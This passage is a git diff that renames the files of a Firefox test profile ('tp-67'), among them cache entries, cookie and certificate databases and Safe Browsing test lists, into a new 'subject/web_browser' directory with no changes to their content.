subject/web_browser/profiles/firefox2/tp-67/.startup-incomplete diff --git a/browser/profiles/firefox2/tp-67/OfflineCache/index.sqlite b/subject/web_browser/profiles/firefox2/tp-67/OfflineCache/index.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/OfflineCache/index.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/OfflineCache/index.sqlite diff --git a/browser/profiles/firefox2/tp-67/addonStartup.json.lz4 b/subject/web_browser/profiles/firefox2/tp-67/addonStartup.json.lz4 similarity index 100% rename from browser/profiles/firefox2/tp-67/addonStartup.json.lz4 rename to subject/web_browser/profiles/firefox2/tp-67/addonStartup.json.lz4 diff --git a/browser/profiles/firefox2/tp-67/addons.json b/subject/web_browser/profiles/firefox2/tp-67/addons.json similarity index 100% rename from browser/profiles/firefox2/tp-67/addons.json rename to subject/web_browser/profiles/firefox2/tp-67/addons.json diff --git a/browser/profiles/firefox2/tp-67/blocklist.xml b/subject/web_browser/profiles/firefox2/tp-67/blocklist.xml similarity index 100% rename from browser/profiles/firefox2/tp-67/blocklist.xml rename to subject/web_browser/profiles/firefox2/tp-67/blocklist.xml diff --git a/browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs b/subject/web_browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs rename to subject/web_browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs diff --git a/browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= b/subject/web_browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= rename to subject/web_browser/profiles/firefox2/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 diff --git a/browser/profiles/firefox2/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C b/subject/web_browser/profiles/firefox2/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C similarity index 100% rename from browser/profiles/firefox2/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C rename to subject/web_browser/profiles/firefox2/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C diff --git a/browser/profiles/firefox2/tp-67/cert9.db b/subject/web_browser/profiles/firefox2/tp-67/cert9.db similarity index 100% rename from browser/profiles/firefox2/tp-67/cert9.db rename to subject/web_browser/profiles/firefox2/tp-67/cert9.db diff --git a/browser/profiles/firefox2/tp-67/compatibility.ini b/subject/web_browser/profiles/firefox2/tp-67/compatibility.ini similarity index 100% rename from browser/profiles/firefox2/tp-67/compatibility.ini rename to subject/web_browser/profiles/firefox2/tp-67/compatibility.ini diff --git a/browser/profiles/firefox2/tp-67/content-prefs.sqlite b/subject/web_browser/profiles/firefox2/tp-67/content-prefs.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/content-prefs.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/content-prefs.sqlite diff --git a/browser/profiles/firefox2/tp-67/cookies.sqlite b/subject/web_browser/profiles/firefox2/tp-67/cookies.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/cookies.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/cookies.sqlite diff --git a/browser/profiles/firefox2/tp-67/cookies.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/cookies.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/cookies.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/cookies.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/datareporting/state.json b/subject/web_browser/profiles/firefox2/tp-67/datareporting/state.json similarity index 100% rename from browser/profiles/firefox2/tp-67/datareporting/state.json rename to subject/web_browser/profiles/firefox2/tp-67/datareporting/state.json diff --git a/browser/profiles/firefox2/tp-67/extension-preferences.json b/subject/web_browser/profiles/firefox2/tp-67/extension-preferences.json similarity index 100% rename from browser/profiles/firefox2/tp-67/extension-preferences.json rename to subject/web_browser/profiles/firefox2/tp-67/extension-preferences.json diff --git a/browser/profiles/firefox2/tp-67/extensions.json b/subject/web_browser/profiles/firefox2/tp-67/extensions.json similarity index 100% rename from browser/profiles/firefox2/tp-67/extensions.json rename to subject/web_browser/profiles/firefox2/tp-67/extensions.json diff --git a/browser/profiles/firefox2/tp-67/favicons.sqlite b/subject/web_browser/profiles/firefox2/tp-67/favicons.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/favicons.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/favicons.sqlite diff --git a/browser/profiles/firefox2/tp-67/favicons.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/favicons.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/favicons.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/favicons.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/handlers.json b/subject/web_browser/profiles/firefox2/tp-67/handlers.json similarity index 100% rename from browser/profiles/firefox2/tp-67/handlers.json rename to subject/web_browser/profiles/firefox2/tp-67/handlers.json diff --git a/browser/profiles/firefox2/tp-67/key4.db b/subject/web_browser/profiles/firefox2/tp-67/key4.db similarity index 100% rename from browser/profiles/firefox2/tp-67/key4.db rename to subject/web_browser/profiles/firefox2/tp-67/key4.db diff --git a/browser/profiles/firefox2/tp-67/permissions.sqlite b/subject/web_browser/profiles/firefox2/tp-67/permissions.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/permissions.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/permissions.sqlite diff --git a/browser/profiles/firefox2/tp-67/pkcs11.txt b/subject/web_browser/profiles/firefox2/tp-67/pkcs11.txt similarity index 100% rename from browser/profiles/firefox2/tp-67/pkcs11.txt rename to subject/web_browser/profiles/firefox2/tp-67/pkcs11.txt diff --git a/browser/profiles/firefox2/tp-67/places.sqlite b/subject/web_browser/profiles/firefox2/tp-67/places.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/places.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/places.sqlite diff --git a/browser/profiles/firefox2/tp-67/places.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/places.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/places.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/places.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/prefs.js b/subject/web_browser/profiles/firefox2/tp-67/prefs.js similarity index 100% rename from browser/profiles/firefox2/tp-67/prefs.js rename to subject/web_browser/profiles/firefox2/tp-67/prefs.js diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/base-track-digest256.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/content-track-digest256.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-block-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-harmful-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-malware-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-phish-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-track-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-block-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-harmful-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-malware-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-phish-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-track-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-trackwhite-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.pset b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.pset similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.pset rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.pset diff --git a/browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.sbstore b/subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.sbstore similarity index 100% rename from browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.sbstore rename to subject/web_browser/profiles/firefox2/tp-67/safebrowsing/test-unwanted-simple.sbstore diff --git a/browser/profiles/firefox2/tp-67/search.json.mozlz4 b/subject/web_browser/profiles/firefox2/tp-67/search.json.mozlz4 similarity index 100% rename from browser/profiles/firefox2/tp-67/search.json.mozlz4 rename to subject/web_browser/profiles/firefox2/tp-67/search.json.mozlz4 diff --git a/browser/profiles/firefox2/tp-67/sessionCheckpoints.json b/subject/web_browser/profiles/firefox2/tp-67/sessionCheckpoints.json similarity index 100% rename from browser/profiles/firefox2/tp-67/sessionCheckpoints.json rename to subject/web_browser/profiles/firefox2/tp-67/sessionCheckpoints.json diff --git a/browser/profiles/firefox2/tp-67/storage.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata b/subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata rename to subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata diff --git a/browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 b/subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 rename to subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 diff --git a/browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/storage/ls-archive.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage/ls-archive.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/ls-archive.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage/ls-archive.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata 